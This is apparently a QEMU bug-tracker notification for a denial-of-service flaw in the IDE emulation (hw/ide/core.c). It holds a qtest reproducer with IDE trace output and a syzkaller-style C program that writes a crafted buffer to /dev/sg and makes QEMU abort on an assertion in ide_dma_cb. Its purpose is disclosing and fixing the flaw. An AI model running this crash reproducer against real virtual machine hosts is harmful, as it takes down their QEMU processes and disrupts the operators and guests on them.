Here's a qtest reproducer: ./i386-softmmu/qemu-system-i386 -M pc,accel=qtest \ -qtest null -nographic -vga qxl -qtest stdio \ -drive if=none,id=drive0,file=null-co://,file.read-zeroes=on,format=raw \ -drive if=none,id=drive1,file=null-co://,file.read-zeroes=on,format=raw \ -device ide-cd,drive=drive0 -device ide-hd,drive=drive1 -nodefaults \ < attachment
With -trace ide*: [R +0.020410] outw 0x171 0xffff 28186@1594494474.407743:ide_ioport_write IDE PIO wr @ 0x171 (Features); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 28186@1594494474.407747:ide_ioport_write IDE PIO wr @ 0x172 (Sector Count); val 0xff; bus 0x55e383419100 IDEState 0x55e383419188 OK [S +0.020428] OK [R +0.020433] outw 0x176 0x35fb 28186@1594494474.407756:ide_ioport_write IDE PIO wr @ 0x176 (Device/Head); val 0xfb; bus 0x55e383419100 IDEState 0x55e383419188 28186@1594494474.407757:ide_ioport_write IDE PIO wr @ 0x177 (Command); val 0x35; bus 0x55e383419100 IDEState 0x55e383419558 28186@1594494474.407759:ide_exec_cmd IDE exec cmd: bus 0x55e383419100; state 0x55e383419558; cmd 0x35 .... 28186@1594494474.411019:ide_dma_cb IDEState 0x55e383419558; sector_num=1 n=511 cmd=DMA WRITE OK [S +0.023732] OK [R +0.023736] outb 0x376 0x8f 28186@1594494474.411060:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x8f; bus 0x55e383419100 OK [S +0.023741] OK [R +0.023742] outw 0x376 0x2779 28186@1594494474.411064:ide_cmd_write IDE PIO wr @ 0x376 (Device Control); val 0x79; bus 0x55e383419100 OK [S +0.023745] OK qemu-system-i386: /home/alxndr/Development/qemu/hw/ide/core.c:880: void ide_dma_cb(void *, int): Assertion `n * 512 == s->sg.size' failed. ** Attachment added: "attachment" https://bugs.launchpad.net/qemu/+bug/1777315/+attachment/5391760/+files/attachment -- You received this bug notification because you are a member of qemu- devel-ml, which is subscribed to QEMU. https://bugs.launchpad.net/bugs/1777315 Title: Denial of service Status in QEMU: In Progress Bug description: Hi, QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version qemu-2.12.0 run the program in qemu-2.12.0: #define _GNU_SOURCE #include <endian.h> #include <sys/syscall.h> #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/stat.h> #include <stdint.h> #include <string.h> static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2) { if (a0 == 0xc || a0 == 0xb) { char buf[128]; sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2); return open(buf, O_RDWR, 0); } else { char buf[1024]; char* hash; strncpy(buf, (char*)a0, sizeof(buf) - 1); buf[sizeof(buf) - 1] = 0; while ((hash = strchr(buf, '#'))) { *hash = '0' + (char)(a1 % 10); a1 /= 10; } return open(buf, a2, 0); } } uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; void loop() { long res = 0; memcpy((void*)0x20000000, "/dev/sg#", 9); res = syz_open_dev(0x20000000, 0, 2); if (res != -1) r[0] = res; res = syscall(__NR_dup2, r[0], r[0]); if (res != -1) r[1] = res; *(uint8_t*)0x20000ec0 = 0; *(uint8_t*)0x20000ec1 = 0; *(uint8_t*)0x20000ec2 = 0; *(uint8_t*)0x20000ec3 = 0; *(uint32_t*)0x20000ec8 = 0; *(uint8_t*)0x20000ed8 = 0; *(uint8_t*)0x20000ed9 = 0; *(uint8_t*)0x20000eda = 0; *(uint8_t*)0x20000edb = 0; memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 12); syscall(__NR_write, r[1], 0x20000ec0, 0x323); } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); loop(); return 0; } this will crash qemu, output information: qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed. Thanks owl337 To manage notifications about this bug go to: https://bugs.launchpad.net/qemu/+bug/1777315/+subscriptions
